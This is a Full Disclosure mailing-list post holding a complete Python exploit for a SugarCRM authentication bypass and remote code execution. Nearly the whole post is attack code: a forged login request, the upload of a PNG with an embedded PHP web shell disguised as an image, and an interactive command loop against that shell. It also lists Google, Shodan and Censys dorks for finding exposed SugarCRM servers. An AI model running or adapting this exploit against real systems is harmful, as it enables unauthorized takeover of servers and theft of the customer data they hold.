SugarCRM 0-day Auth Bypass + RCE Exploit

From: “sw33t.0day via Fulldisclosure” <fulldisclosure () seclists org>
Date: Wed, 28 Dec 2022 08:42:12 +0000

#!/usr/bin/env python
#
# SugarCRM 0-day Auth Bypass + RCE Exploit
#
# Dorks:
# https://www.google.com/search?q=site:sugarondemand.com&filter=0
# https://www.google.com/search?q=intitle:"SugarCRM"+inurl:index.php
# https://www.shodan.io/search?query=http.title:"SugarCRM"
# https://search.censys.io/search?resource=hosts&q=services.http.response.html_title:"SugarCRM"
# 
https://search.censys.io/search?resource=hosts&q=services.http.response.headers.content_security_policy:"*.sugarcrm.com"

import base64, re, requests, sys, uuid

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 2:
        sys.exit("Usage: %s [URL]" % sys.argv[0])
        
print "[+] Sending authentication request"

url     = sys.argv[1] + "/index.php"
session = {"PHPSESSID": str(uuid.uuid4())}
params  = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}

requests.post(url, cookies=session, data=params, verify=False)

print "[+] Uploading PHP shell\n"

png_sh = 
"iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like 
.php7 .php5 or .phtml
params = {"module": "EmailTemplates", "action": "AttachFiles"}

requests.post(url, cookies=session, data=params, files=upload, verify=False)

url = sys.argv[1] + "/cache/images/sweet.phar"

while True:
        cmd = raw_input("# ")
        res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
        res = re.search("#####(.*)#####", res.text, re.DOTALL)
        if res:
                print res.group(1)
        else:
                sys.exit("\n[+] Failure!\n")
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